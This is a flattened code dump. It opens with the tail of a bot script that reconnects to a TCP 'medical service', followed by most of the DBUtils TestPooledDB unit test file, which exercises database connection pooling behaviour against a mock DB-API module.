on_server_connected(sender, eargs): print("Connected to the medical service") def on_server_connection_lost(sender, eargs): print("Connection to the medical service lost.. retying to connect..") newthread = threading.Thread(target=sender.DoConnectionUntilConnected) newthread.daemon = True newthread.start() print("Trying to connect the bot") client = Client.TcpClient(ip_addr, port) client.on_connected += on_server_connected client.on_connection_lost += on_server_connection_lost p1 = threading.Thread(target=client.DoConnectionUntilConnected) p1.start() bot.run(token)
TestPooledDB.py
"""Test the PooledDB module. Note: We don't test performance here, so the test does not predicate whether PooledDB actually will help in improving performance or not. We also assume that the underlying SteadyDB connections are tested. Copyright and credit info: * This test was contributed by Christoph Zwerschke """ __version__ = '1.0' __revision__ = "$Rev: 7680 $" __date__ = "$Date$" import sys import unittest sys.path.insert(1, '../..') # The TestSteadyDB module serves as a mock object for the DB-API 2 module: from DBUtils.Testing import TestSteadyDB as dbapi from DBUtils.PooledDB import PooledDB class TestPooledDB(unittest.TestCase): def test00_CheckVersion(self): from DBUtils import __version__ as DBUtilsVersion self.assertEqual(DBUtilsVersion, __version__) from DBUtils.PooledDB import __version__ as PooledDBVersion self.assertEqual(PooledDBVersion, __version__) self.assertEqual(PooledDB.version, __version__) def test01_NoThreadsafety(self): from DBUtils.PooledDB import NotSupportedError for threadsafety in (None, 0): dbapi.threadsafety = threadsafety self.assertRaises(NotSupportedError, PooledDB, dbapi) def test02_Threadsafety(self): for threadsafety in (1, 2, 3): dbapi.threadsafety = threadsafety pool = PooledDB(dbapi, 0, 0, 1) self.assert_(hasattr(pool, '_maxshared')) if threadsafety > 1: self.assertEqual(pool._maxshared, 1) self.assert_(hasattr(pool, '_shared_cache')) else: self.assertEqual(pool._maxshared, 0) self.assert_(not hasattr(pool, '_shared_cache')) def test03_CreateConnection(self): for threadsafety in (1, 2): dbapi.threadsafety = threadsafety shareable = threadsafety > 1 pool = PooledDB(dbapi, 1, 1, 1, 0, False, None, None, None, 'PooledDBTestDB', user='PooledDBTestUser') self.assert_(hasattr(pool, '_idle_cache')) self.assertEqual(len(pool._idle_cache), 1) if shareable: self.assert_(hasattr(pool, '_shared_cache')) self.assertEqual(len(pool._shared_cache), 0) else: self.assert_(not hasattr(pool, '_shared_cache')) self.assert_(hasattr(pool, '_maxusage')) self.assertEqual(pool._maxusage, None) self.assert_(hasattr(pool, '_setsession')) self.assert_(pool._setsession is None) con = pool._idle_cache[0] from DBUtils.SteadyDB import SteadyDBConnection self.assert_(isinstance(con, SteadyDBConnection)) self.assert_(hasattr(con, '_maxusage')) self.assertEqual(con._maxusage, 0) self.assert_(hasattr(con, '_setsession_sql')) self.assert_(con._setsession_sql is None) db = pool.connection() self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 1) self.assert_(hasattr(db, '_con')) self.assertEqual(db._con, con) self.assert_(hasattr(db, 'cursor')) self.assert_(hasattr(db, '_usage')) self.assertEqual(db._usage, 0) self.assert_(hasattr(con, '_con')) db_con = con._con self.assert_(hasattr(db_con, 'database')) self.assertEqual(db_con.database, 'PooledDBTestDB') self.assert_(hasattr(db_con, 'user')) self.assertEqual(db_con.user, 'PooledDBTestUser') self.assert_(hasattr(db_con, 'open_cursors')) self.assertEqual(db_con.open_cursors, 0) self.assert_(hasattr(db_con, 'num_uses')) self.assertEqual(db_con.num_uses, 0) self.assert_(hasattr(db_con, 'num_queries')) self.assertEqual(db_con.num_queries, 0) cursor = db.cursor() self.assertEqual(db_con.open_cursors, 1) cursor.execute('select test') r = cursor.fetchone() cursor.close() self.assertEqual(db_con.open_cursors, 0) self.assertEqual(r, 'test') self.assertEqual(db_con.num_queries, 1) self.assertEqual(db._usage, 1) cursor = db.cursor() self.assertEqual(db_con.open_cursors, 1) cursor.execute('set sessiontest') cursor2 = db.cursor() self.assertEqual(db_con.open_cursors, 2) cursor2.close() self.assertEqual(db_con.open_cursors, 1) cursor.close() self.assertEqual(db_con.open_cursors, 0) self.assertEqual(db_con.num_queries, 1) self.assertEqual(db._usage, 2) self.assertEqual(db_con.session, ['rollback', 'sessiontest']) pool = PooledDB(dbapi, 1, 1, 1) self.assertEqual(len(pool._idle_cache), 1) if shareable: self.assertEqual(len(pool._shared_cache), 0) db = pool.connection() self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 1) db.close() self.assertEqual(len(pool._idle_cache), 1) if shareable: self.assertEqual(len(pool._shared_cache), 0) db = pool.connection(True) self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 1) db.close() self.assertEqual(len(pool._idle_cache), 1) if shareable: self.assertEqual(len(pool._shared_cache), 0) db = pool.connection(False) self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 0) self.assertEqual(db._usage, 0) db_con = db._con._con self.assert_(db_con.database is None) self.assert_(db_con.user is None) db.close() self.assertEqual(len(pool._idle_cache), 1) if shareable: self.assertEqual(len(pool._shared_cache), 0) db = pool.dedicated_connection() self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 0) self.assertEqual(db._usage, 0) db_con = db._con._con self.assert_(db_con.database is None) self.assert_(db_con.user is None) db.close() self.assertEqual(len(pool._idle_cache), 1) if shareable: self.assertEqual(len(pool._shared_cache), 0) pool = PooledDB(dbapi, 0, 0, 0, 0, False, 3, ('set datestyle',)) self.assertEqual(pool._maxusage, 3) self.assertEqual(pool._setsession, ('set datestyle',)) con = pool.connection()._con self.assertEqual(con._maxusage, 3) self.assertEqual(con._setsession_sql, ('set datestyle',)) def test04_CloseConnection(self): for threadsafety in (1, 2): dbapi.threadsafety = threadsafety shareable = threadsafety > 1 pool = PooledDB(dbapi, 0, 1, 1, 0, False, None, None, None, 'PooledDBTestDB', user='PooledDBTestUser') self.assert_(hasattr(pool, '_idle_cache')) self.assertEqual(len(pool._idle_cache), 0) db = pool.connection() self.assert_(hasattr(db, '_con')) con = db._con self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 1) self.assert_(hasattr(db, '_shared_con')) shared_con = db._shared_con self.assertEqual(pool._shared_cache[0], shared_con) self.assert_(hasattr(shared_con, 'shared')) self.assertEqual(shared_con.shared, 1) self.assert_(hasattr(shared_con, 'con')) self.assertEqual(shared_con.con, con) from DBUtils.SteadyDB import SteadyDBConnection self.assert_(isinstance(con, SteadyDBConnection)) self.assert_(hasattr(con, '_con')) db_con = con._con self.assert_(hasattr(db_con, 'num_queries')) self.assertEqual(db._usage, 0) self.assertEqual(db_con.num_queries, 0) db.cursor().execute('select test') self.assertEqual(db._usage, 1) self.assertEqual(db_con.num_queries, 1) db.close() self.assertEqual(db._con, None) if shareable: self.assertEqual(db._shared_con, None) self.assertEqual(shared_con.shared, 0) self.assert_(not hasattr(db, '_usage')) self.assert_(not hasattr(db_con, '_num_queries')) self.assertEqual(len(pool._idle_cache), 1) self.assertEqual(pool._idle_cache[0]._con, db_con) if shareable: self.assertEqual(len(pool._shared_cache), 0) db.close() if shareable: self.assertEqual(shared_con.shared, 0) db = pool.connection() self.assertEqual(db._con, con) self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 1) shared_con = db._shared_con self.assertEqual(pool._shared_cache[0], shared_con) self.assertEqual(shared_con.con, con) self.assertEqual(shared_con.shared, 1) self.assertEqual(db._usage, 1) self.assertEqual(db_con.num_queries, 1) self.assert_(hasattr(db_con, 'database')) self.assertEqual(db_con.database, 'PooledDBTestDB') self.assert_(hasattr(db_con, 'user')) self.assertEqual(db_con.user, 'PooledDBTestUser') db.cursor().execute('select test') self.assertEqual(db_con.num_queries, 2) db.cursor().execute('select test') self.assertEqual(db_con.num_queries, 3) db.close() self.assertEqual(len(pool._idle_cache), 1) self.assertEqual(pool._idle_cache[0]._con, db_con) if shareable: self.assertEqual(len(pool._shared_cache), 0) db = pool.connection(False) self.assertEqual(db._con, con) self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 0) db.close() self.assertEqual(len(pool._idle_cache), 1) if shareable: self.assertEqual(len(pool._shared_cache), 0) def test05_CloseAll(self): for threadsafety in (1, 2): dbapi.threadsafety = threadsafety shareable = threadsafety > 1 pool = PooledDB(dbapi, 10) self.assertEqual(len(pool._idle_cache), 10) pool.close() self.assertEqual(len(pool._idle_cache), 0) pool = PooledDB(dbapi, 10) closed = ['no'] def close(what=closed): what[0] = 'yes' pool._idle_cache[7]._con.close = close self.assertEqual(closed, ['no']) del pool self.assertEqual(closed, ['yes']) pool = PooledDB(dbapi, 10, 10, 5) self.assertEqual(len(pool._idle_cache), 10) if shareable: self.assertEqual(len(pool._shared_cache), 0) cache = [] for i in range(5): cache.append(pool.connection()) self.assertEqual(len(pool._idle_cache), 5) if shareable: self.assertEqual(len(pool._shared_cache), 5) else: self.assertEqual(len(pool._idle_cache), 5) pool.close() self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 0) pool = PooledDB(dbapi, 10, 10, 5) closed = [] def close_idle(what=closed): what.append('idle') def close_shared(what=closed): what.append('shared') if shareable: cache = [] for i in range(5): cache.append(pool.connection()) pool._shared_cache[3].con.close = close_shared else: pool._idle_cache[7]._con.close = close_shared pool._idle_cache[3]._con.close = close_idle self.assertEqual(closed, []) del pool if shareable: del cache self.assertEqual(closed, ['idle', 'shared']) def test06_ShareableConnection(self): for threadsafety in (1, 2): dbapi.threadsafety = threadsafety shareable = threadsafety > 1 pool = PooledDB(dbapi, 0, 1, 2) self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 0) db1 = pool.connection() self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 1) db2 = pool.connection() self.assertNotEqual(db1._con, db2._con) self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 2) db3 = pool.connection() self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 2) self.assertEqual(db3._con, db1._con) self.assertEqual(db1._shared_con.shared, 2) self.assertEqual(db2._shared_con.shared, 1) else: self.assertNotEqual(db3._con, db1._con) self.assertNotEqual(db3._con, db2._con) db4 = pool.connection() self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 2) self.assertEqual(db4._con, db2._con) self.assertEqual(db1._shared_con.shared, 2) self.assertEqual(db2._shared_con.shared, 2) else: self.assertNotEqual(db4._con, db1._con) self.assertNotEqual(db4._con, db2._con) self.assertNotEqual(db4._con, db3._con) db5 = pool.connection(False) self.assertNotEqual(db5._con, db1._con) self.assertNotEqual(db5._con, db2._con) self.assertNotEqual(db5._con, db3._con) self.assertNotEqual(db5._con, db4._con) self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 2) self.assertEqual(db1._shared_con.shared, 2) self.assertEqual(db2._shared_con.shared, 2) db5.close() self.assertEqual(len(pool._idle_cache), 1) db5 = pool.connection() if shareable: self.assertEqual(len(pool._idle_cache), 1) self.assertEqual(len(pool._shared_cache), 2) self.assertEqual(db5._shared_con.shared, 3) else: self.assertEqual(len(pool._idle_cache), 0) pool = PooledDB(dbapi, 0, 0, 1) self.assertEqual(len(pool._idle_cache), 0) db1 = pool.connection(False) if shareable: self.assertEqual(len(pool._shared_cache), 0) db2 = pool.connection() if shareable: self.assertEqual(len(pool._shared_cache), 1) db3 = pool.connection() if shareable: self.assertEqual(len(pool._shared_cache), 1) self.assertEqual(db2._con, db3._con) else: self.assertNotEqual(db2._con, db3._con) del db3 if shareable: self.assertEqual(len(pool._idle_cache), 0) self.assertEqual(len(pool._shared_cache), 1) else: self.assertEqual(len(pool._idle_cache), 1) del db2 if shareable: self.assertEqual(len(pool._idle_cache), 1) self.assertEqual(len(pool._shared_cache), 0) else: self.assertEqual(len(pool._idle_cache), 2) del db1 if shareable: self.assertEqual(len(pool._idle_cache), 2) self.assertEqual(len(pool._shared_cache), 0) else: self.assertEqual(len(pool._idle_cache), 3) def test07_MinMaxCached(self): for threadsafety in (1, 2): dbapi.threadsafety = threadsafety shareable = threadsafety > 1 pool = PooledDB(dbapi, 3) self.assertEqual(len(pool._idle_cache), 3) cache = [pool.connection() for i in range(3)] self.assertEqual(len(pool._idle_cache), 0) del cache self.assertEqual(len(pool._idle_cache), 3) cache = [pool.connection() for i in range(6)] self.assertEqual(len(pool._idle_cache), 0) del cache self.assertEqual(len(pool._idle_cache), 6) pool = PooledDB(dbapi, 0, 3) self.assertEqual(len(pool._idle_cache), 0) cache = [pool.connection() for i in range(3)] self.assertEqual(len(pool._idle_cache), 0) del cache self.assertEqual(len(pool._idle_cache), 3) cache = [pool.connection() for i in range(6)] self.assertEqual(len(pool._idle_cache), 0) del cache self.assertEqual(len(pool._idle_cache), 3) pool = PooledDB(dbapi, 3, 3) self.assertEqual(len(pool._idle_cache), 3) cache = [pool.connection() for i in range(3)] self.assertEqual(len(pool._idle_cache), 0) del cache self.assertEqual(len(pool._idle_cache), 3) cache = [pool.connection() for i in range(6)] self.assertEqual(len(pool._idle_cache), 0) del cache self.assertEqual(len(pool._idle_cache), 3) pool = PooledDB(dbapi, 3, 2) self.assertEqual(len(pool._idle_cache), 3) cache = [pool.connection() for i in range(4)] self.assertEqual(len(pool._idle_cache), 0) del cache self.assertEqual(len(pool._idle_cache), 3) pool = PooledDB(dbapi, 2, 5) self.assertEqual(len(pool._idle_cache), 2) cache = [pool.connection() for i in range(10)] self.assertEqual(len(pool._idle_cache), 0) del cache self.assertEqual(len(pool._idle_cache), 5) pool = PooledDB(dbapi, 1, 2, 3) self.assertEqual(len(pool._idle_cache), 1) cache = [pool.connection(False) for i in range(4)] self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 0) del cache self.assertEqual(len(pool._idle_cache), 2) cache = [pool.connection() for i in range(10)] self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 3) del cache self.assertEqual(len(pool._idle_cache), 2) if shareable: self.assertEqual(len(pool._shared_cache), 0) pool = PooledDB(dbapi, 1, 3, 2) self.assertEqual(len(pool._idle_cache), 1) cache = [pool.connection(False) for i in range(4)] self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 0) del cache self.assertEqual(len(pool._idle_cache), 3) cache = [pool.connection() for i in range(10)] if shareable: self.assertEqual(len(pool._idle_cache), 1) self.assertEqual(len(pool._shared_cache), 2) else: self.assertEqual(len(pool._idle_cache), 0) del cache self.assertEqual(len(pool._idle_cache), 3) if shareable: self.assertEqual(len(pool._shared_cache), 0) def test08_MaxShared(self): for threadsafety in (1, 2): dbapi.threadsafety = threadsafety shareable = threadsafety > 1 pool = PooledDB(dbapi) self.assertEqual(len(pool._idle_cache), 0) cache = [pool.connection() for i in range(10)] self.assertEqual(len(pool._idle_cache), 0) pool = PooledDB(dbapi, 1, 1, 0) self.assertEqual(len(pool._idle_cache), 1) cache = [pool.connection() for i in range(10)] self.assertEqual(len(pool._idle_cache), 0) pool = PooledDB(dbapi, 0, 0, 1) cache = [pool.connection() for i in range(10)] self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 1) pool = PooledDB(dbapi, 1, 1, 1) self.assertEqual(len(pool._idle_cache), 1) cache = [pool.connection() for i in range(10)] self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 1) pool = PooledDB(dbapi, 0, 0, 7) cache = [pool.connection(False) for i in range(3)] self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 0) cache = [pool.connection() for i in range(10)] self.assertEqual(len(pool._idle_cache), 3) if shareable: self.assertEqual(len(pool._shared_cache), 7) def test09_EquallyShared(self): for threadsafety in (1, 2): dbapi.threadsafety = threadsafety shareable = threadsafety > 1 pool = PooledDB(dbapi, 5, 5, 5) self.assertEqual(len(pool._idle_cache), 5) for i in range(15): db = pool.connection(False) db.cursor().execute('select test') db.close() self.assertEqual(len(pool._idle_cache), 5) for i in range(5): con = pool._idle_cache[i] self.assertEqual(con._usage, 3) self.assertEqual(con._con.num_queries, 3) cache = [] for i in range(35): db = pool.connection() db.cursor().execute('select test') cache.append(db) del db self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 5) for i in range(5): con = pool._shared_cache[i] self.assertEqual(con.shared, 7) con = con.con self.assertEqual(con._usage, 10) self.assertEqual(con._con.num_queries, 10) del cache self.assertEqual(len(pool._idle_cache), 5) if shareable: self.assertEqual(len(pool._shared_cache), 0) def test10_SortShared(self): for threadsafety in (1, 2): dbapi.threadsafety = threadsafety shareable = threadsafety > 1 pool = PooledDB(dbapi, 0, 0, 5) cache = [] for i in range(35): db = pool.connection() db.cursor().execute('select test1') db.cursor().execute('select test2') db.cursor().callproc('test3') cache.append(db) del db self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 5) for i in range(5): con = pool._shared_cache[i] self.assertEqual(con.shared, 7) con = con.con self.assertEqual(con._usage, 21) self.assertEqual(con._con.num_queries, 14) cache[3] = cache[8] = cache[33] = None cache[12] = cache[17] = cache[34] = None self.assertEqual(len(pool._shared_cache), 5) self.assertEqual(pool._shared_cache[0].shared, 7) self.assertEqual(pool._shared_cache[1].shared, 7) self.assertEqual(pool._shared_cache[2].shared, 5) self.assertEqual(pool._shared_cache[3].shared, 4) self.assertEqual(pool._shared_cache[4].shared, 6) for db in cache: if db: db.cursor().callproc('test4') for i in range(6): db = pool.connection() db.cursor().callproc('test4') cache.append(db) del db for i in range(5): con = pool._shared_cache[i] self.assertEqual(con.shared, 7) con = con.con self.assertEqual(con._usage, 28) self.assertEqual(con._con.num_queries, 14) del cache if shareable: self.assertEqual(len(pool._idle_cache), 5) self.assertEqual(len(pool._shared_cache), 0) else: self.assertEqual(len(pool._idle_cache), 35) def test11_Rollback(self): for threadsafety in (1, 2): dbapi.threadsafety = threadsafety pool = PooledDB(dbapi, 0, 1) self.assertEqual(len(pool._idle_cache), 0) db = pool.connection(False) self.assertEqual(len(pool._idle_cache), 0) self.assertEqual(db._con._con.open_cursors, 0) cursor = db.cursor() self.assertEqual(db._con._con.open_cursors, 1) cursor.execute('set doit1') db.commit() cursor.execute('set dont1') cursor.close() self.assertEqual(db._con._con.open_cursors, 0) del db self.assertEqual(len(pool._idle_cache), 1) db = pool.connection(False) self.assertEqual(len(pool._idle_cache), 0) self.assertEqual(db._con._con.open_cursors, 0) cursor = db.cursor() self.assertEqual(db._con._con.open_cursors, 1) cursor.execute('set doit2') cursor.close() self.assertEqual(db._con._con.open_cursors, 0) db.commit() session = db._con._con.session db.close() self.assertEqual(session, [ 'doit1', 'commit', 'dont1', 'rollback', 'doit2', 'commit', 'rollback']) def test12_MaxConnections(self): from DBUtils.PooledDB import TooManyConnections for threadsafety in (1, 2): dbapi.threadsafety = threadsafety shareable = threadsafety > 1 pool = PooledDB(dbapi, 1, 2, 2, 3) self.assert_(hasattr(pool, '_maxconnections')) self.assertEqual(pool._maxconnections, 3) self.assert_(hasattr(pool, '_connections')) self.assertEqual(pool._connections, 0) self.assertEqual(len(pool._idle_cache), 1) cache = [] for i in range(3): cache.append(pool.connection(False)) self.assertEqual(pool._connections, 3) self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 0) self.assertRaises(TooManyConnections, pool.connection, 0) self.assertRaises(TooManyConnections, pool.connection) cache = [] self.assertEqual(pool._connections, 0) self.assertEqual(len(pool._idle_cache), 2) if shareable: self.assertEqual(len(pool._shared_cache), 0) for i in range(3): cache.append(pool.connection()) self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(pool._connections, 2) self.assertEqual(len(pool._shared_cache), 2) cache.append(pool.connection(False)) self.assertEqual(pool._connections, 3) self.assertEqual(len(pool._shared_cache), 2) else: self.assertEqual(pool._connections, 3) self.assertRaises(TooManyConnections, pool.connection, 0) if shareable: cache.append(pool.connection(True)) self.assertEqual(pool._connections, 3) else: self.assertRaises(TooManyConnections, pool.connection) del cache self.assertEqual(pool._connections, 0) self.assertEqual(len(pool._idle_cache), 2) pool = PooledDB(dbapi, 0, 1, 1, 1) self.assertEqual(pool._maxconnections, 1) self.assertEqual(pool._connections, 0) self.assertEqual(len(pool._idle_cache), 0) db = pool.connection(False) self.assertEqual(pool._connections, 1) self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 0) self.assertRaises(TooManyConnections, pool.connection, 0) self.assertRaises(TooManyConnections, pool.connection) del db self.assertEqual(pool._connections, 0) self.assertEqual(len(pool._idle_cache), 1) cache = [pool.connection()] self.assertEqual(pool._connections, 1) self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 1) cache.append(pool.connection()) self.assertEqual(pool._connections, 1) self.assertEqual(len(pool._shared_cache), 1) self.assertEqual(pool._shared_cache[0].shared, 2) else: self.assertRaises(TooManyConnections, pool.connection) self.assertRaises(TooManyConnections, pool.connection, 0) if shareable: cache.append(pool.connection(True)) self.assertEqual(pool._connections, 1) self.assertEqual(len(pool._shared_cache), 1) self.assertEqual(pool._shared_cache[0].shared, 3) else: self.assertRaises(TooManyConnections, pool.connection, 1) del cache self.assertEqual(pool._connections, 0) self.assertEqual(len(pool._idle_cache), 1) if shareable: self.assertEqual(len(pool._shared_cache), 0) db = pool.connection(False) self.assertEqual(pool._connections, 1) self.assertEqual(len(pool._idle_cache), 0) del db self.assertEqual(pool._connections, 0) self.assertEqual(len(pool._idle_cache), 1) pool = PooledDB(dbapi, 1, 2, 2, 1) self.assertEqual(pool._maxconnections, 2) self.assertEqual(pool._connections, 0) self.assertEqual(len(pool._idle_cache), 1) cache = [] cache.append(pool.connection(False)) self.assertEqual(pool._connections, 1) self.assertEqual(len(pool._idle_cache), 0) cache.append(pool.connection(False)) self.assertEqual(pool._connections, 2) self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 0) self.assertRaises(TooManyConnections, pool.connection, 0) self.assertRaises(TooManyConnections, pool.connection) pool = PooledDB(dbapi, 4, 3, 2, 1, False) self.assertEqual(pool._maxconnections, 4) self.assertEqual(pool._connections, 0) self.assertEqual(len(pool._idle_cache), 4) cache = [] for i in range(4): cache.append(pool.connection(False)) self.assertEqual(pool._connections, 4) self.assertEqual(len(pool._idle_cache), 0) self.assertRaises(TooManyConnections, pool.connection, 0) self.assertRaises(TooManyConnections, pool.connection) pool = PooledDB(dbapi, 1, 2, 3, 4, False) self.assertEqual(pool._maxconnections, 4) self.assertEqual(pool._connections, 0) self.assertEqual(len(pool._idle_cache), 1) for i in range(4): cache.append(pool.connection()) self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(pool._connections, 3) self.assertEqual(len(pool._shared_cache), 3) cache.append(pool.connection()) self.assertEqual(pool._connections, 3) cache.append(pool.connection(False)) self.assertEqual(pool._connections, 4) else: self.assertEqual(pool._connections, 4) self.assertRaises(TooManyConnections, pool.connection) self.assertRaises(TooManyConnections, pool.connection, 0) pool = PooledDB(dbapi, 0, 0, 3, 3, False) self.assertEqual(pool._maxconnections, 3) self.assertEqual(pool._connections, 0) cache = [] for i in range(3): cache.append(pool.connection(False)) self.assertEqual(pool._connections, 3) self.assertRaises(TooManyConnections, pool.connection, 0) self.assertRaises(TooManyConnections, pool.connection, 1) cache = [] self.assertEqual(pool._connections, 0) for i in range(3): cache.append(pool.connection()) self.assertEqual(pool._connections, 3) if shareable: for i in range(3): cache.append(pool.connection()) self.assertEqual(pool._connections, 3) else: self.assertRaises(TooManyConnections, pool.connection) self.assertRaises(TooManyConnections, pool.connection, 0) pool = PooledDB(dbapi, 0, 0, 3) self.assertEqual(pool._maxconnections, 0) self.assertEqual(pool._connections, 0) cache = [] for i in range(10): cache.append(pool.connection(False)) cache.append(pool.connection()) if shareable: self.assertEqual(pool._connections, 13) self.assertEqual(len(pool._shared_cache), 3) else: self.assertEqual(pool._connections, 20) pool = PooledDB(dbapi, 1, 1, 1, 1, True) self.assertEqual(pool._maxconnections, 1) self.assertEqual(pool._connections, 0) self.assertEqual(len(pool._idle_cache), 1) db = pool.connection(False) self.assertEqual(pool._connections, 1) self.assertEqual(len(pool._idle_cache), 0) def connection(): db = pool.connection() cursor = db.cursor() cursor.execute('set thread') cursor.close() db.close() from threading import Thread thread = Thread(target=connection) thread.start() thread.join(0.1) self.assert_(thread.isAlive()) self.assertEqual(pool._connections, 1) self.assertEqual(len(pool._idle_cache), 0) if shareable: self.assertEqual(len(pool._shared_cache), 0) session = db._con._con.session self.assertEqual(session, ['rollback']) del db thread.join(0.1) self.assert_(not thread.isAlive()) self.assertEqual(pool._connections, 0) self.assertEqual(len(pool._idle_cache), 1) if shareable: self.assertEqual(len(pool._shared_cache), 0) db = pool.connection(False) self.assertEqual(pool._connections, 1) self.assertEqual(len(pool._idle_cache), 0) self.assertEqual(session, ['rollback', 'rollback', 'thread', 'rollback']) def test13_MaxUsage(self): for threadsafety in (1, 2): dbapi.threadsafety = threadsafety for maxusage in (0, 3, 7): pool = PooledDB(dbapi, 0, 0, 0, 1, False, maxusage) self.assertEqual(pool._maxusage, maxusage) self.assertEqual(len(pool._idle_cache), 0) db = pool.connection(False) self.assertEqual(db._con._maxusage, maxusage) self.assertEqual(len(pool._idle_cache), 0) self.assertEqual(db._con._con.open_cursors, 0) self.assertEqual(db._usage, 0) self.assertEqual(db._con._con.num_uses, 0) self.assertEqual(db._con._con.num_queries, 0) for i in range(20): cursor=db.cursor() self.assertEqual(db._con._con.open_cursors, 1) cursor.execute('select test%i' % i) r = cursor.fetchone() self.assertEqual(r, 'test%i' % i) cursor.close() self.assertEqual(db._con._con.open_cursors, 0) if maxusage: j = i % maxusage + 1 else: j = i + 1 self.assertEqual(db._usage, j) self.assertEqual(db._con._con.num_uses, j) self.assertEqual(db._con._con.num_queries, j) db.cursor().callproc('test') self.assertEqual(db._con._con.open_cursors, 0) self.assertEqual(db._usage, j + 1) self.assertEqual(db._con._con.num_uses, j + 1) self.assertEqual(db._con._con.num_queries, j) def test14_SetSession(self): for threadsafety in (1, 2): dbapi.threadsafety = threadsafety setsession = ('set time zone', 'set datestyle') pool = PooledDB(dbapi, 0, 0, 0, 1, False, None, setsession) self.assertEqual(pool._setsession, setsession) db = pool.connection(False) self.assertEqual(db._setsession_sql, setsession) self.assertEqual(db._con._con.session, ['time zone', 'datestyle']) db.cursor().execute('select test') db.cursor().execute('set test1') self.assertEqual(db._usage, 2) self.assertEqual(db._con._con.num_uses, 4) self.assertEqual(db._con._con.num_queries, 1) self.assertEqual(db._con._con.session, ['time zone', 'datestyle', 'test1']) db.close() db = pool.connection(False) self.assertEqual(db._setsession_sql, setsession) self.assertEqual(db._con._con.session, ['time zone', 'datestyle', 'test1', 'rollback']) db._con._con.close() db.cursor().execute('select test') db.cursor().execute('set test2') self.assertEqual(db._con._con.session, ['time zone', 'datestyle', 'test2']) def test15_OneThreadTwoConnections(self): for threadsafety in (1, 2): dbapi.threadsafety = threadsafety shareable = threadsafety > 1 pool = PooledDB(dbapi, 2) db1 = pool.connection() for i in range(5): db1.cursor().execute('select test') db2 = pool.connection() self.assertNotEqual(db1, db2) self.assertNotEqual(db1._con, db2._con) for i in range(7): db2.cursor().execute('select test') self.assertEqual(db1._con._con.num_queries, 5) self.assertEqual(db2._con._con.num_queries, 7) del db1 db1 = pool.connection() self.assertNotEqual(db1, db2) self.assertNotEqual(db1._con, db2._con) for i in range(3): db1.cursor().execute('select test') self.assertEqual(db1._con._con.num_queries, 8) db2.cursor().execute('select test') self.assertEqual(db2._con._con.num_queries, 8) pool = PooledDB(dbapi, 0, 0, 2) db1 = pool.connection() for i in range(5): db1.cursor().execute('select test') db2 = pool.connection() self.assertNotEqual(db1, db2) self.assertNotEqual(db1._con, db2._con) for i in range(7): db2.cursor().execute('select test') self.assertEqual(db1._con._con.num_queries, 5) self.assertEqual(db2._con._con.num_queries, 7) del db1 db1 = pool.connection() self.assertNotEqual(db1, db2) self.assertNotEqual(db1._con, db2._con) for i in range(3): db1.cursor().execute('select test') self.assertEqual(db1._con._con.num_queries, 8) db2.cursor().execute('select test') self.assertEqual(db2._con._con.num_queries, 8) pool = PooledDB(dbapi, 0, 0, 1) db1 = pool.connection() db2 = pool.connection() self.assertNotEqual(db1, db2) if shareable: self.assertEqual(db1._con, db2._con) else: self.assertNotEqual(db1._con, db2._con) del db1 db1 = pool.connection(False) self.assertNotEqual(db1, db2) self.assertNotEqual(db1._con, db2._con) def test16_ThreeThreadsTwoConnections(self): for threadsafety in (1, 2): dbapi.threadsafety = threadsafety pool = PooledDB(dbapi, 2, 2, 0, 2, True) from Queue import Queue, Empty queue = Queue(3) def connection(): try: queue.put(pool.connection(), 1, 1) except Exception: queue.put(pool.connection(), 1) from threading import Thread for i in range(3): Thread(target=connection).start() try: db1 = queue.get(1, 1) db2 = queue.get(1, 1) except TypeError: db1 = queue.get(1) db2 = queue.get(1) self.assertNotEqual(db1, db2) db1_con = db1._con db2_con = db2._con self.assertNotEqual(db1_con, db2_con) try: self.assertRaises(Empty, queue.get, 1, 0.1) except TypeError: self.assertRaises(Empty, queue.get, 0) del db1 try: db1 = queue.get(1, 1) except TypeError: db1 = queue.get(1) self.assertNotEqual(db1, db2) self.assertNotEqual(db1._con, db2._con) self.assertEqual(db1._con, db1_con) pool = PooledDB(dbapi, 2, 2, 1, 2, True) db1 = pool.connection(False) db2 = pool.connection(False) self.assertNotEqual(db1, db2) db1_con = db1._con 